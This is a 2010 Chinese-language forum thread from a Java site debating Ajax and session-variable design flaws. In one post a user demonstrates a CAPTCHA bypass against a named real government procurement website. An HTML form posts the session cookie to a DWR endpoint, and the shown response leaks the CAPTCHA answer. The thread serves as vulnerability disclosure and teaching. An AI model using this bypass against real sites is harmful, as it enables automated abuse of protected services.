JWorld@TW the best professional Java site in Taiwan
      註冊 | 登入 | 全文檢索 | 排行榜  

» JWorld@TW » AJAX討論區  

按列印兼容模式列印這個話題 列印話題    把這個話題寄給朋友 寄給朋友    訂閱主題
reply to topicthreaded modego to previous topicgo to next topic
本主題所含的標籤
作者 Ajax 與 Session variable 可能發生的漏洞
kentyeh





發文: 648
積分: 6
於 2010-11-09 15:51 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
剛剛忽然發現,Ajax Page 產生 Session Variable不小心,可能會產生軟體漏洞,

問題是這樣,當A page 載入後,再使用 A page 載入的資料以AJAX去載入 B page,

然後在 B page 產生 Session variable,當 A page 跳到 C page時,C page去讀 B page

產生的 Session variable 來處理資料,

其實只要使用Httpfox這樣的工具很清楚就可以發現

這個過程,所以我只要載入A完成後,再用同一個瀏覽器(同Session)去呼叫 B (給自定的參數,

尤其是有的網址很容是解讀其義意的),

跳到 C page時就可以呈現完全不一樣的結果,

到網路上找找,也許還會發弄現類似的網頁


reply to postreply to post
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:kentyeh]
plutotw

井底蛙



發文: 624
積分: 3
於 2010-11-09 16:25 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
如果是同一個 project , session 不就是同一個 ?

reply to postreply to post
任何聰明的傻瓜都可以讓事情更大、更複雜、更激烈。要往反方向發展需要一絲天分以及許多勇氣。-愛因斯坦
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:kentyeh]
Tony1223





發文: 201
積分: 0
於 2010-11-09 17:02 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
同一個 browser 在同一個 domain 還沒碰到 session timeout之前,
本來就是共用 session variable 啊,這是很合理的。

問題在於改變 session variable 這個行為是否合乎預期,
跟session variable 改變後產出來的頁面是否有危險 ,會不會被偷藏XSS之類的東西在裡面。

這兩個才是有風險的地方,而不是session variable 會被改變這件事情是風險。
畢竟A,B,C 都是同網站上自己寫的,本來就要自己掌握。


reply to postreply to post
TonyQ@ptt.cc
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:Tony1223]
kentyeh





發文: 648
積分: 6
於 2010-11-09 20:55 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
其實,我說的並非是資安上的風險,而是我發現的那支程式是跟
計帳有關,若被有心人注意到了,可能會產生金錢上的損失


reply to postreply to post
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:kentyeh]
kebin_liu

雲端決策系統

版主

發文: 1861
積分: 11
於 2010-11-09 21:12 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
如果是擔心值被看見,那恭喜你,HTTP大部分的值都可以被看見。

安全性考量很高的話,用https吧。


reply to postreply to post
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:kentyeh]
Tony1223





發文: 201
積分: 0
於 2010-11-09 21:30 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
唔,如果是「不應該被看見的資料被看見」,
這不算是資安上的風險,那該是哪一種風險。

我覺得這沒有那隻application 的來龍去脈,這種事情很難判定啊。

你這就跟如果不作使用者權限驗證,網站上某些不想被存取的資料的資料可能會被存取一樣,
這是網站設計流程的問題,而不是ajax / session 的問題。


reply to postreply to post
TonyQ@ptt.cc
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:Tony1223]
kentyeh





發文: 648
積分: 6
於 2010-11-10 17:15 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
是資安問題或是設計上的問題?
Anyway,我只是想表達Ajax設計上只要不小心,可能就會發生令人意想不到的問題。

恕我不能提供之前的發現,因為那是牽扯到錢的問題

但是我可以提供另一個比較無害的範例,

請先上這個地方,是不是可以看到上面有個圖形驗證?

一般有圖形驗證的原因是因為不想被機器人讀取,
既然您已上過上述的網址,請取出該網站的 cookie "JSESSIONID"

您可以手動,或是用機器人的方式 查詢
1
2
3
4
5
6
7
8
9
10
11
12
<form action="http://web.pcc.gov.tw/tps/dwr-commonutil/call/plaincall/ImageCheck.obtainImg.dwr" method="post">
       callCount: <input type="text" name="callCount" value="1"/><br/>
       page: <input type="text" name="page" value="/tps/tps/tbm/main/tps/tbm/queryOdiServiceClient.do?method=init"/><br/>
       c0-scriptName :<input type="text" name="c0-scriptName" value="ImageCheck"/><br/>
       c0-methodName :<input type="text" name="c0-methodName" value="obtainImg"/><br/>
       c0-id: <input type="text" name="c0-id" value="0"/><br/>
       batchId: <input type="text" name="batchId" value="0"/><br/>
       c0-param0: <input type="text" name="c0-param0" value=""/><br/>
       httpSessionId: <input type="text" name="httpSessionId" value="設定為cookie JSESSIONID的值"/><br/>
       scriptSessionId: <input type="text" name="scriptSessionId" value=""/><br/>
       <input type="submit">
</form>


以下是我的查詢回傳字串
1
2
3
4
throw 'allowScriptTagRemoting is false.';
//#DWR-INSERT
//#DWR-REPLY
dwr.engine._remoteHandleCallback('0','0',["/tps/imgPath/1289380039430.jpeg","5AUr"]);


然後我手動驗證這個圖形 http://web.pcc.gov.tw/tps/imgPath/1289380039430.jpeg
果然出現 5AUr 的變形圖

是的,這樣機器人已取得圖形驗證的文字資料了,下一站就是享用該網站的便利服務了…
(除非她的防火牆像Yahooo一樣,會判斷造訪次數來擋)

這就是我說的Ajax使用不當的情形


reply to postreply to post
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:kentyeh]
plutotw

井底蛙



發文: 624
積分: 3
於 2010-11-10 18:29 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
這是很多在寫程式的人根本不知道那段碼是在那一邊 run 造成..
理論上判斷的碼應該在 server 端才對的,除非像是變更密碼時的新密碼需輸入兩次的那一種才可以在前端

單純的驗證圖形部份,也有直接在 html 上就有對應的文字的


reply to postreply to post
任何聰明的傻瓜都可以讓事情更大、更複雜、更激烈。要往反方向發展需要一絲天分以及許多勇氣。-愛因斯坦
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:plutotw]
kentyeh





發文: 648
積分: 6
於 2010-11-10 18:51 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
沒錯,她的驗證得確是在Server end做的(中華電的開發人員應該不至於這麼蠢),
只不過她是動態產生的 code 由Client end 回Call Server產生圖形,
我猜,應該是回Call Server的此時,才被記錄在 Server end,

她的問題是,不該在網路線上傳遞的東西,就不應該在網路線上傳遞,
只要在網路線上傳遞,就一定會被有心人看到

如果沒有AJAX也許她們就不會犯這個錯了,
所以要用 AJAX,真的要謹慎


reply to postreply to post
作者 Re:Ajax 與 Session variable 可能發生的漏洞 [Re:kentyeh]
plutotw

井底蛙



發文: 624
積分: 3
於 2010-11-10 19:06 user profilesend a private message to userreply to postreply to postsearch all posts byselect and copy to clipboard. 
ie only, sorry for netscape users:-)add this post to my favorite list
將動態產生的檢核碼在 client 端產生,再由 server 去記錄,也是差不多 豕者 豆頭
我還看過不同電腦間的 系統帳號密碼 透過 redirect POST URL 去傳遞的


reply to postreply to post
任何聰明的傻瓜都可以讓事情更大、更複雜、更激烈。要往反方向發展需要一絲天分以及許多勇氣。-愛因斯坦
» JWorld@TW »  AJAX討論區

reply to topicthreaded modego to previous topicgo to next topic
  已讀文章
  新的文章
  被刪除的文章
Jump to the top of page

JWorld@TW 本站商標資訊

Powered by Powerful JuteForum® Version Jute 1.5.8